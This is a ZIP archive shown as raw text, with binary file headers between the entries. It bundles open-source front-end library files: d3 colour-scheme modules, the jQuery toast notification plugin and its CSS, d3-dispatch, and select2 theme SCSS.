  ranges = ranges.map(function(colors) {
    return colors.match(/.{6}/g).map(function(x) {
      return "#" + x;
    });
  });
  var n0 = ranges[0].length;
  return function(n) {
    return ranges[n - n0];
  };
}
PK.}�\�A���	colors.jsnu�[���export default function(specifier) {
  var n = specifier.length / 6 | 0, colors = new Array(n), i = 0;
  while (i < n) colors[i] = "#" + specifier.slice(i * 6, ++i * 6);
  return colors;
}
PK.}�\��SRRdiverging/PRGn.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "af8dc3f7f7f77fbf7b",
  "7b3294c2a5cfa6dba0008837",
  "7b3294c2a5cff7f7f7a6dba0008837",
  "762a83af8dc3e7d4e8d9f0d37fbf7b1b7837",
  "762a83af8dc3e7d4e8f7f7f7d9f0d37fbf7b1b7837",
  "762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b7837",
  "762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b7837",
  "40004b762a839970abc2a5cfe7d4e8d9f0d3a6dba05aae611b783700441b",
  "40004b762a839970abc2a5cfe7d4e8f7f7f7d9f0d3a6dba05aae611b783700441b"
).map(colors);

export default ramp(scheme);
PK.}�\�!��RRdiverging/Spectral.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "fc8d59ffffbf99d594",
  "d7191cfdae61abdda42b83ba",
  "d7191cfdae61ffffbfabdda42b83ba",
  "d53e4ffc8d59fee08be6f59899d5943288bd",
  "d53e4ffc8d59fee08bffffbfe6f59899d5943288bd",
  "d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd",
  "d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd",
  "9e0142d53e4ff46d43fdae61fee08be6f598abdda466c2a53288bd5e4fa2",
  "9e0142d53e4ff46d43fdae61fee08bffffbfe6f598abdda466c2a53288bd5e4fa2"
).map(colors);

export default ramp(scheme);
PK.}�\*/RRdiverging/RdYlBu.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "fc8d59ffffbf91bfdb",
  "d7191cfdae61abd9e92c7bb6",
  "d7191cfdae61ffffbfabd9e92c7bb6",
  "d73027fc8d59fee090e0f3f891bfdb4575b4",
  "d73027fc8d59fee090ffffbfe0f3f891bfdb4575b4",
  "d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4",
  "d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4",
  "a50026d73027f46d43fdae61fee090e0f3f8abd9e974add14575b4313695",
  "a50026d73027f46d43fdae61fee090ffffbfe0f3f8abd9e974add14575b4313695"
).map(colors);

export default ramp(scheme);
PK.}�\�_�RRdiverging/RdYlGn.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "fc8d59ffffbf91cf60",
  "d7191cfdae61a6d96a1a9641",
  "d7191cfdae61ffffbfa6d96a1a9641",
  "d73027fc8d59fee08bd9ef8b91cf601a9850",
  "d73027fc8d59fee08bffffbfd9ef8b91cf601a9850",
  "d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850",
  "d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850",
  "a50026d73027f46d43fdae61fee08bd9ef8ba6d96a66bd631a9850006837",
  "a50026d73027f46d43fdae61fee08bffffbfd9ef8ba6d96a66bd631a9850006837"
).map(colors);

export default ramp(scheme);
PK.}�\�/{RRdiverging/BrBG.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "d8b365f5f5f55ab4ac",
  "a6611adfc27d80cdc1018571",
  "a6611adfc27df5f5f580cdc1018571",
  "8c510ad8b365f6e8c3c7eae55ab4ac01665e",
  "8c510ad8b365f6e8c3f5f5f5c7eae55ab4ac01665e",
  "8c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e",
  "8c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e",
  "5430058c510abf812ddfc27df6e8c3c7eae580cdc135978f01665e003c30",
  "5430058c510abf812ddfc27df6e8c3f5f5f5c7eae580cdc135978f01665e003c30"
).map(colors);

export default ramp(scheme);
PK.}�\����RRdiverging/PiYG.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "e9a3c9f7f7f7a1d76a",
  "d01c8bf1b6dab8e1864dac26",
  "d01c8bf1b6daf7f7f7b8e1864dac26",
  "c51b7de9a3c9fde0efe6f5d0a1d76a4d9221",
  "c51b7de9a3c9fde0eff7f7f7e6f5d0a1d76a4d9221",
  "c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221",
  "c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221",
  "8e0152c51b7dde77aef1b6dafde0efe6f5d0b8e1867fbc414d9221276419",
  "8e0152c51b7dde77aef1b6dafde0eff7f7f7e6f5d0b8e1867fbc414d9221276419"
).map(colors);

export default ramp(scheme);
PK.}�\]� �RRdiverging/PuOr.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "998ec3f7f7f7f1a340",
  "5e3c99b2abd2fdb863e66101",
  "5e3c99b2abd2f7f7f7fdb863e66101",
  "542788998ec3d8daebfee0b6f1a340b35806",
  "542788998ec3d8daebf7f7f7fee0b6f1a340b35806",
  "5427888073acb2abd2d8daebfee0b6fdb863e08214b35806",
  "5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b35806",
  "2d004b5427888073acb2abd2d8daebfee0b6fdb863e08214b358067f3b08",
  "2d004b5427888073acb2abd2d8daebf7f7f7fee0b6fdb863e08214b358067f3b08"
).map(colors);

export default ramp(scheme);
PK.}�\���RRdiverging/RdGy.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "ef8a62ffffff999999",
  "ca0020f4a582bababa404040",
  "ca0020f4a582ffffffbababa404040",
  "b2182bef8a62fddbc7e0e0e09999994d4d4d",
  "b2182bef8a62fddbc7ffffffe0e0e09999994d4d4d",
  "b2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d",
  "b2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d",
  "67001fb2182bd6604df4a582fddbc7e0e0e0bababa8787874d4d4d1a1a1a",
  "67001fb2182bd6604df4a582fddbc7ffffffe0e0e0bababa8787874d4d4d1a1a1a"
).map(colors);

export default ramp(scheme);
PK.}�\��TRRdiverging/RdBu.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "ef8a62f7f7f767a9cf",
  "ca0020f4a58292c5de0571b0",
  "ca0020f4a582f7f7f792c5de0571b0",
  "b2182bef8a62fddbc7d1e5f067a9cf2166ac",
  "b2182bef8a62fddbc7f7f7f7d1e5f067a9cf2166ac",
  "b2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac",
  "b2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac",
  "67001fb2182bd6604df4a582fddbc7d1e5f092c5de4393c32166ac053061",
  "67001fb2182bd6604df4a582fddbc7f7f7f7d1e5f092c5de4393c32166ac053061"
).map(colors);

export default ramp(scheme);
PK.}�\[��
rampClosed.jsnu�[���import {scaleSequential} from "d3-scale";
import {interpolateRgbBasisClosed} from "d3-interpolate";
import colors from "./colors";

export default function(range) {
  var s = scaleSequential(interpolateRgbBasisClosed(colors(range))).clamp(true);
  delete s.clamp;
  return s;
}
PK.}�\�Ȫ���sequential-single/Greens.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "e5f5e0a1d99b31a354",
  "edf8e9bae4b374c476238b45",
  "edf8e9bae4b374c47631a354006d2c",
  "edf8e9c7e9c0a1d99b74c47631a354006d2c",
  "edf8e9c7e9c0a1d99b74c47641ab5d238b45005a32",
  "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45005a32",
  "f7fcf5e5f5e0c7e9c0a1d99b74c47641ab5d238b45006d2c00441b"
).map(colors);

export default ramp(scheme);
PK.}�\T�����sequential-single/Purples.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "efedf5bcbddc756bb1",
  "f2f0f7cbc9e29e9ac86a51a3",
  "f2f0f7cbc9e29e9ac8756bb154278f",
  "f2f0f7dadaebbcbddc9e9ac8756bb154278f",
  "f2f0f7dadaebbcbddc9e9ac8807dba6a51a34a1486",
  "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a34a1486",
  "fcfbfdefedf5dadaebbcbddc9e9ac8807dba6a51a354278f3f007d"
).map(colors);

export default ramp(scheme);
PK.}�\��U���sequential-single/Blues.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "deebf79ecae13182bd",
  "eff3ffbdd7e76baed62171b5",
  "eff3ffbdd7e76baed63182bd08519c",
  "eff3ffc6dbef9ecae16baed63182bd08519c",
  "eff3ffc6dbef9ecae16baed64292c62171b5084594",
  "f7fbffdeebf7c6dbef9ecae16baed64292c62171b5084594",
  "f7fbffdeebf7c6dbef9ecae16baed64292c62171b508519c08306b"
).map(colors);

export default ramp(scheme);
PK.}�\� ����sequential-single/Greys.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "f0f0f0bdbdbd636363",
  "f7f7f7cccccc969696525252",
  "f7f7f7cccccc969696636363252525",
  "f7f7f7d9d9d9bdbdbd969696636363252525",
  "f7f7f7d9d9d9bdbdbd969696737373525252252525",
  "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525",
  "fffffff0f0f0d9d9d9bdbdbd969696737373525252252525000000"
).map(colors);

export default ramp(scheme);
PK.}�\;V�v��sequential-single/Oranges.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "fee6cefdae6be6550d",
  "feeddefdbe85fd8d3cd94701",
  "feeddefdbe85fd8d3ce6550da63603",
  "feeddefdd0a2fdae6bfd8d3ce6550da63603",
  "feeddefdd0a2fdae6bfd8d3cf16913d948018c2d04",
  "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d948018c2d04",
  "fff5ebfee6cefdd0a2fdae6bfd8d3cf16913d94801a636037f2704"
).map(colors);

export default ramp(scheme);
PK.}�\�6^���sequential-single/Reds.jsnu�[���import colors from "../colors";
import ramp from "../ramp";

export var scheme = new Array(3).concat(
  "fee0d2fc9272de2d26",
  "fee5d9fcae91fb6a4acb181d",
  "fee5d9fcae91fb6a4ade2d26a50f15",
  "fee5d9fcbba1fc9272fb6a4ade2d26a50f15",
  "fee5d9fcbba1fc9272fb6a4aef3b2ccb181d99000d",
  "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181d99000d",
  "fff5f0fee0d2fcbba1fc9272fb6a4aef3b2ccb181da50f1567000d"
).map(colors);

export default ramp(scheme);
PKD}�\+�F�t4t4jquery.toast.jsnu�[���// jQuery toast plugin created by Kamran Ahmed copyright MIT license 2015
if ( typeof Object.create !== 'function' ) {
    Object.create = function( obj ) {
        function F() {}
        F.prototype = obj;
        return new F();
    };
}

(function( $, window, document, undefined ) {

    "use strict";
    
    var Toast = {

        _positionClasses : ['bottom-left', 'bottom-right', 'top-right', 'top-left', 'bottom-center', 'top-center', 'mid-center'],
        _defaultIcons : ['success', 'error', 'info', 'warning'],

        init: function (options, elem) {
            this.prepareOptions(options, $.toast.options);
            this.process();
        },

        prepareOptions: function(options, options_to_extend) {
            var _options = {};
            if ( ( typeof options === 'string' ) || ( options instanceof Array ) ) {
                _options.text = options;
            } else {
                _options = options;
            }
            this.options = $.extend( {}, options_to_extend, _options );
        },

        process: function () {
            this.setup();
            this.addToDom();
            this.position();
            this.bindToast();
            this.animate();
        },

        setup: function () {
            
            var _toastContent = '';
            
            this._toastEl = this._toastEl || $('<div></div>', {
                class : 'jq-toast-single'
            });

            // For the loader on top
            _toastContent += '<span class="jq-toast-loader"></span>';            

            if ( this.options.allowToastClose ) {
                _toastContent += '<span class="close-jq-toast-single">&times;</span>';
            };

            if ( this.options.text instanceof Array ) {

                if ( this.options.heading ) {
                    _toastContent +='<h2 class="jq-toast-heading">' + this.options.heading + '</h2>';
                };

                _toastContent += '<ul class="jq-toast-ul">';
                for (var i = 0; i < this.options.text.length; i++) {
                    _toastContent += '<li class="jq-toast-li" id="jq-toast-item-' + i + '">' + this.options.text[i] + '</li>';
                }
                _toastContent += '</ul>';

            } else {
                if ( this.options.heading ) {
                    _toastContent +='<h2 class="jq-toast-heading">' + this.options.heading + '</h2>';
                };
                _toastContent += this.options.text;
            }

            this._toastEl.html( _toastContent );

            if ( this.options.bgColor !== false ) {
                this._toastEl.css("background-color", this.options.bgColor);
            };

            if ( this.options.textColor !== false ) {
                this._toastEl.css("color", this.options.textColor);
            };

            if ( this.options.textAlign ) {
                this._toastEl.css('text-align', this.options.textAlign);
            }

            if ( this.options.icon !== false ) {
                this._toastEl.addClass('jq-has-icon');

                if ( $.inArray(this.options.icon, this._defaultIcons) !== -1 ) {
                    this._toastEl.addClass('jq-icon-' + this.options.icon);
                };
            };

            if ( this.options.class !== false ){
                this._toastEl.addClass(this.options.class)
            }
        },

        position: function () {
            if ( ( typeof this.options.position === 'string' ) && ( $.inArray( this.options.position, this._positionClasses) !== -1 ) ) {

                if ( this.options.position === 'bottom-center' ) {
                    this._container.css({
                        left: ( $(window).outerWidth() / 2 ) - this._container.outerWidth()/2,
                        bottom: 20
                    });
                } else if ( this.options.position === 'top-center' ) {
                    this._container.css({
                        left: ( $(window).outerWidth() / 2 ) - this._container.outerWidth()/2,
                        top: 20
                    });
                } else if ( this.options.position === 'mid-center' ) {
                    this._container.css({
                        left: ( $(window).outerWidth() / 2 ) - this._container.outerWidth()/2,
                        top: ( $(window).outerHeight() / 2 ) - this._container.outerHeight()/2
                    });
                } else {
                    this._container.addClass( this.options.position );
                }

            } else if ( typeof this.options.position === 'object' ) {
                this._container.css({
                    top : this.options.position.top ? this.options.position.top : 'auto',
                    bottom : this.options.position.bottom ? this.options.position.bottom : 'auto',
                    left : this.options.position.left ? this.options.position.left : 'auto',
                    right : this.options.position.right ? this.options.position.right : 'auto'
                });
            } else {
                this._container.addClass( 'bottom-left' );
            }
        },

        bindToast: function () {

            var that = this;

            this._toastEl.on('afterShown', function () {
                that.processLoader();
            });

            this._toastEl.find('.close-jq-toast-single').on('click', function ( e ) {

                e.preventDefault();

                if( that.options.showHideTransition === 'fade') {
                    that._toastEl.trigger('beforeHide');
                    that._toastEl.fadeOut(function () {
                        that._toastEl.trigger('afterHidden');
                    });
                } else if ( that.options.showHideTransition === 'slide' ) {
                    that._toastEl.trigger('beforeHide');
                    that._toastEl.slideUp(function () {
                        that._toastEl.trigger('afterHidden');
                    });
                } else {
                    that._toastEl.trigger('beforeHide');
                    that._toastEl.hide(function () {
                        that._toastEl.trigger('afterHidden');
                    });
                }
            });

            if ( typeof this.options.beforeShow == 'function' ) {
                this._toastEl.on('beforeShow', function () {
                    that.options.beforeShow(that._toastEl);
                });
            };

            if ( typeof this.options.afterShown == 'function' ) {
                this._toastEl.on('afterShown', function () {
                    that.options.afterShown(that._toastEl);
                });
            };

            if ( typeof this.options.beforeHide == 'function' ) {
                this._toastEl.on('beforeHide', function () {
                    that.options.beforeHide(that._toastEl);
                });
            };

            if ( typeof this.options.afterHidden == 'function' ) {
                this._toastEl.on('afterHidden', function () {
                    that.options.afterHidden(that._toastEl);
                });
            };

            if ( typeof this.options.onClick == 'function' ) {
                this._toastEl.on('click', function () {
                    that.options.onClick(that._toastEl);
                });
            };    
        },

        addToDom: function () {

             var _container = $('.jq-toast-wrap');
             
             if ( _container.length === 0 ) {
                
                _container = $('<div></div>',{
                    class: "jq-toast-wrap"
                });

                $('body').append( _container );

             } else if ( !this.options.stack || isNaN( parseInt(this.options.stack, 10) ) ) {
                _container.empty();
             }

             _container.find('.jq-toast-single:hidden').remove();

             _container.append( this._toastEl );

            if ( this.options.stack && !isNaN( parseInt( this.options.stack ), 10 ) ) {
                
                var _prevToastCount = _container.find('.jq-toast-single').length,
                    _extToastCount = _prevToastCount - this.options.stack;

                if ( _extToastCount > 0 ) {
                    $('.jq-toast-wrap').find('.jq-toast-single').slice(0, _extToastCount).remove();
                };

            }

            this._container = _container;
        },

        canAutoHide: function () {
            return ( this.options.hideAfter !== false ) && !isNaN( parseInt( this.options.hideAfter, 10 ) );
        },

        processLoader: function () {
            // Show the loader only, if auto-hide is on and loader is demanded
            if (!this.canAutoHide() || this.options.loader === false) {
                return false;
            }

            var loader = this._toastEl.find('.jq-toast-loader');

            // 400 is the default time that jquery uses for fade/slide
            // Divide by 1000 for milliseconds to seconds conversion
            var transitionTime = (this.options.hideAfter - 400) / 1000 + 's';
            var loaderBg = this.options.loaderBg;

            var style = loader.attr('style') || '';
            style = style.substring(0, style.indexOf('-webkit-transition')); // Remove the last transition definition

            style += '-webkit-transition: width ' + transitionTime + ' ease-in; \
                      -o-transition: width ' + transitionTime + ' ease-in; \
                      transition: width ' + transitionTime + ' ease-in; \
                      background-color: ' + loaderBg + ';';


            loader.attr('style', style).addClass('jq-toast-loaded');
        },

        animate: function () {

            var that = this;

            this._toastEl.hide();

            this._toastEl.trigger('beforeShow');

            if ( this.options.showHideTransition.toLowerCase() === 'fade' ) {
                this._toastEl.fadeIn(function ( ){
                    that._toastEl.trigger('afterShown');
                });
            } else if ( this.options.showHideTransition.toLowerCase() === 'slide' ) {
                this._toastEl.slideDown(function ( ){
                    that._toastEl.trigger('afterShown');
                });
            } else {
                this._toastEl.show(function ( ){
                    that._toastEl.trigger('afterShown');
                });
            }

            if (this.canAutoHide()) {

                var that = this;

                window.setTimeout(function(){
                    
                    if ( that.options.showHideTransition.toLowerCase() === 'fade' ) {
                        that._toastEl.trigger('beforeHide');
                        that._toastEl.fadeOut(function () {
                            that._toastEl.trigger('afterHidden');
                        });
                    } else if ( that.options.showHideTransition.toLowerCase() === 'slide' ) {
                        that._toastEl.trigger('beforeHide');
                        that._toastEl.slideUp(function () {
                            that._toastEl.trigger('afterHidden');
                        });
                    } else {
                        that._toastEl.trigger('beforeHide');
                        that._toastEl.hide(function () {
                            that._toastEl.trigger('afterHidden');
                        });
                    }

                }, this.options.hideAfter);
            };
        },

        reset: function ( resetWhat ) {

            if ( resetWhat === 'all' ) {
                $('.jq-toast-wrap').remove();
            } else {
                this._toastEl.remove();
            }

        },

        update: function(options) {
            this.prepareOptions(options, this.options);
            this.setup();
            this.bindToast();
        },
        
        close: function() {
            this._toastEl.find('.close-jq-toast-single').click();
        }
    };
    
    $.toast = function(options) {
        var toast = Object.create(Toast);
        toast.init(options, this);

        return {
            
            reset: function ( what ) {
                toast.reset( what );
            },

            update: function( options ) {
                toast.update( options );
            },
            
            close: function( ) {
            	toast.close( );
            }
        }
    };

    $.toast.options = {
        text: '',
        heading: '',
        showHideTransition: 'fade',
        allowToastClose: true,
        hideAfter: 3000,
        loader: true,
        loaderBg: '#9EC600',
        stack: 5,
        position: 'bottom-left',
        bgColor: false,
        textColor: false,
        textAlign: 'left',
        icon: false,
        beforeShow: function () {},
        afterShown: function () {},
        beforeHide: function () {},
        afterHidden: function () {},
        onClick: function () {}
    };

})( jQuery, window, document );
PKD}�\�11jquery.toast.cssnu�[���/**
 * jQuery toast plugin created by Kamran Ahmed copyright MIT license 2014
 */
.jq-toast-wrap { display: block; position: fixed; width: 250px;  pointer-events: none !important; margin: 0; padding: 0; letter-spacing: normal; z-index: 9000 !important; }
.jq-toast-wrap * { margin: 0; padding: 0; }

.jq-toast-wrap.bottom-left { bottom: 20px; left: 20px; }
.jq-toast-wrap.bottom-right { bottom: 20px; right: 40px; }
.jq-toast-wrap.top-left { top: 20px; left: 20px; }
.jq-toast-wrap.top-right { top: 20px; right: 40px; }

.jq-toast-single { display: block; width: 100%; padding: 10px; margin: 0px 0px 5px; border-radius: 4px; font-size: 12px; font-family: arial, sans-serif; line-height: 17px; position: relative;  pointer-events: all !important; background-color: #444444; color: white; }

.jq-toast-single h2 { font-family: arial, sans-serif; font-size: 14px; margin: 0px 0px 7px; background: none; color: inherit; line-height: inherit; letter-spacing: normal; }
.jq-toast-single a { color: #eee; text-decoration: none; font-weight: bold; border-bottom: 1px solid white; padding-bottom: 3px; font-size: 12px; }

.jq-toast-single ul { margin: 0px 0px 0px 15px; background: none; padding:0px; }
.jq-toast-single ul li { list-style-type: disc !important; line-height: 17px; background: none; margin: 0; padding: 0; letter-spacing: normal; }

.close-jq-toast-single { position: absolute; top: 3px; right: 7px; font-size: 14px; cursor: pointer; }

.jq-toast-loader { display: block; position: absolute; top: -2px; height: 5px; width: 0%; left: 0; border-radius: 5px; background: red; }
.jq-toast-loaded { width: 100%; }
.jq-has-icon { padding: 10px 10px 10px 50px; background-repeat: no-repeat; background-position: 10px; }
.jq-icon-info { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGwSURBVEhLtZa9SgNBEMc9sUxxRcoUKSzSWIhXpFMhhYWFhaBg4yPYiWCXZxBLERsLRS3EQkEfwCKdjWJAwSKCgoKCcudv4O5YLrt7EzgXhiU3/4+b2ckmwVjJSpKkQ6wAi4gwhT+z3wRBcEz0yjSseUTrcRyfsHsXmD0AmbHOC9Ii8VImnuXBPglHpQ5wwSVM7sNnTG7Za4JwDdCjxyAiH3nyA2mtaTJufiDZ5dCaqlItILh1NHatfN5skvjx9Z38m69CgzuXmZgVrPIGE763Jx9qKsRozWYw6xOHdER+nn2KkO+Bb+UV5CBN6WC6QtBgbRVozrahAbmm6HtUsgtPC19tFdxXZYBOfkbmFJ1VaHA1VAHjd0pp70oTZzvR+EVrx2Ygfdsq6eu55BHYR8hlcki+n+kERUFG8BrA0BwjeAv2M8WLQBtcy+SD6fNsmnB3AlBLrgTtVW1c2QN4bVWLATaIS60J2Du5y1TiJgjSBvFVZgTmwCU+dAZFoPxGEEs8nyHC9Bwe2GvEJv2WXZb0vjdyFT4Cxk3e/kIqlOGoVLwwPevpYHT+00T+hWwXDf4AJAOUqWcDhbwAAAAASUVORK5CYII='); background-color: #31708f; color: #d9edf7; border-color: #bce8f1; }
.jq-icon-warning { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAGYSURBVEhL5ZSvTsNQFMbXZGICMYGYmJhAQIJAICYQPAACiSDB8AiICQQJT4CqQEwgJvYASAQCiZiYmJhAIBATCARJy+9rTsldd8sKu1M0+dLb057v6/lbq/2rK0mS/TRNj9cWNAKPYIJII7gIxCcQ51cvqID+GIEX8ASG4B1bK5gIZFeQfoJdEXOfgX4QAQg7kH2A65yQ87lyxb27sggkAzAuFhbbg1K2kgCkB1bVwyIR9m2L7PRPIhDUIXgGtyKw575yz3lTNs6X4JXnjV+LKM/m3MydnTbtOKIjtz6VhCBq4vSm3ncdrD2lk0VgUXSVKjVDJXJzijW1RQdsU7F77He8u68koNZTz8Oz5yGa6J3H3lZ0xYgXBK2QymlWWA+RWnYhskLBv2vmE+hBMCtbA7KX5drWyRT/2JsqZ2IvfB9Y4bWDNMFbJRFmC9E74SoS0CqulwjkC0+5bpcV1CZ8NMej4pjy0U+doDQsGyo1hzVJttIjhQ7GnBtRFN1UarUlH8F3xict+HY07rEzoUGPlWcjRFRr4/gChZgc3ZL2d8oAAAAASUVORK5CYII='); background-color: #8a6d3b; color: #fcf8e3; border-color: #faebcc; }
.jq-icon-error { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAHOSURBVEhLrZa/SgNBEMZzh0WKCClSCKaIYOED+AAKeQQLG8HWztLCImBrYadgIdY+gIKNYkBFSwu7CAoqCgkkoGBI/E28PdbLZmeDLgzZzcx83/zZ2SSXC1j9fr+I1Hq93g2yxH4iwM1vkoBWAdxCmpzTxfkN2RcyZNaHFIkSo10+8kgxkXIURV5HGxTmFuc75B2RfQkpxHG8aAgaAFa0tAHqYFfQ7Iwe2yhODk8+J4C7yAoRTWI3w/4klGRgR4lO7Rpn9+gvMyWp+uxFh8+H+ARlgN1nJuJuQAYvNkEnwGFck18Er4q3egEc/oO+mhLdKgRyhdNFiacC0rlOCbhNVz4H9FnAYgDBvU3QIioZlJFLJtsoHYRDfiZoUyIxqCtRpVlANq0EU4dApjrtgezPFad5S19Wgjkc0hNVnuF4HjVA6C7QrSIbylB+oZe3aHgBsqlNqKYH48jXyJKMuAbiyVJ8KzaB3eRc0pg9VwQ4niFryI68qiOi3AbjwdsfnAtk0bCjTLJKr6mrD9g8iq/S/B81hguOMlQTnVyG40wAcjnmgsCNESDrjme7wfftP4P7SP4N3CJZdvzoNyGq2c/HWOXJGsvVg+RA/k2MC/wN6I2YA2Pt8GkAAAAASUVORK5CYII='); background-color: #a94442; color: #f2dede; border-color: #ebccd1; }
.jq-icon-success { background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAAYCAYAAADgdz34AAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAADsSURBVEhLY2AYBfQMgf///3P8+/evAIgvA/FsIF+BavYDDWMBGroaSMMBiE8VC7AZDrIFaMFnii3AZTjUgsUUWUDA8OdAH6iQbQEhw4HyGsPEcKBXBIC4ARhex4G4BsjmweU1soIFaGg/WtoFZRIZdEvIMhxkCCjXIVsATV6gFGACs4Rsw0EGgIIH3QJYJgHSARQZDrWAB+jawzgs+Q2UO49D7jnRSRGoEFRILcdmEMWGI0cm0JJ2QpYA1RDvcmzJEWhABhD/pqrL0S0CWuABKgnRki9lLseS7g2AlqwHWQSKH4oKLrILpRGhEQCw2LiRUIa4lwAAAABJRU5ErkJggg=='); color: #dff0d8; background-color: #3c763d; border-color: #d6e9c6; }PKO}�\�}��
�
dispatch.jsnu�[���var noop = {value: function() {}};

function dispatch() {
  for (var i = 0, n = arguments.length, _ = {}, t; i < n; ++i) {
    if (!(t = arguments[i] + "") || (t in _)) throw new Error("illegal type: " + t);
    _[t] = [];
  }
  return new Dispatch(_);
}

function Dispatch(_) {
  this._ = _;
}

function parseTypenames(typenames, types) {
  return typenames.trim().split(/^|\s+/).map(function(t) {
    var name = "", i = t.indexOf(".");
    if (i >= 0) name = t.slice(i + 1), t = t.slice(0, i);
    if (t && !types.hasOwnProperty(t)) throw new Error("unknown type: " + t);
    return {type: t, name: name};
  });
}

Dispatch.prototype = dispatch.prototype = {
  constructor: Dispatch,
  on: function(typename, callback) {
    var _ = this._,
        T = parseTypenames(typename + "", _),
        t,
        i = -1,
        n = T.length;

    // If no callback was specified, return the callback of the given type and name.
    if (arguments.length < 2) {
      while (++i < n) if ((t = (typename = T[i]).type) && (t = get(_[t], typename.name))) return t;
      return;
    }

    // If a type was specified, set the callback for the given type and name.
    // Otherwise, if a null callback was specified, remove callbacks of the given name.
    if (callback != null && typeof callback !== "function") throw new Error("invalid callback: " + callback);
    while (++i < n) {
      if (t = (typename = T[i]).type) _[t] = set(_[t], typename.name, callback);
      else if (callback == null) for (t in _) _[t] = set(_[t], typename.name, null);
    }

    return this;
  },
  copy: function() {
    var copy = {}, _ = this._;
    for (var t in _) copy[t] = _[t].slice();
    return new Dispatch(copy);
  },
  call: function(type, that) {
    if ((n = arguments.length - 2) > 0) for (var args = new Array(n), i = 0, n, t; i < n; ++i) args[i] = arguments[i + 2];
    if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type);
    for (t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args);
  },
  apply: function(type, that, args) {
    if (!this._.hasOwnProperty(type)) throw new Error("unknown type: " + type);
    for (var t = this._[type], i = 0, n = t.length; i < n; ++i) t[i].value.apply(that, args);
  }
};

function get(type, name) {
  for (var i = 0, n = type.length, c; i < n; ++i) {
    if ((c = type[i]).name === name) {
      return c.value;
    }
  }
}

function set(type, name, callback) {
  for (var i = 0, n = type.length; i < n; ++i) {
    if (type[i].name === name) {
      type[i] = noop, type = type.slice(0, i).concat(type.slice(i + 1));
      break;
    }
  }
  if (callback != null) type.push({name: name, value: callback});
  return type;
}

export default dispatch;
PK�}�\�o~���scss/theme/classic/layout.scssnu�[���@import "defaults";
@import "../../mixins/gradients";

.select2-container--classic {
  @import "single";
  @import "multiple";

  .select2-search--dropdown {
    .select2-search__field {
      border: 1px solid $border-color;
      outline: 0;
    }
  }

  .select2-search--inline {
    .select2-search__field {
      outline: 0;
      box-shadow: none;
    }
  }

  .select2-dropdown {
    background-color: $dropdown-bg-color;
    border: 1px solid transparent;
  }

  .select2-dropdown--above {
    border-bottom: none;
  }

  .select2-dropdown--below {
    border-top: none;
  }

  .select2-results > .select2-results__options {
    max-height: $results-max-height;
    overflow-y: auto;
  }

  .select2-results__option {
    &[role=group] {
      padding: 0;
    }

    &[aria-disabled=true] {
      color: $results-choice-fg-unselectable-color;
    }
  }

  .select2-results__option--highlighted[aria-selected] {
    background-color: $results-choice-bg-hover-color;
    color: $results-choice-fg-hover-color;
  }

  .select2-results__group {
    cursor: default;
    display: block;
    padding: 6px;
  }

  &.select2-container--open .select2-dropdown {
    border-color: $focus-border-color;
  }
}
PK�}�\� #���!scss/theme/classic/_defaults.scssnu�[���$remove-color: #888 !default;
$remove-hover-color: #555 !default;
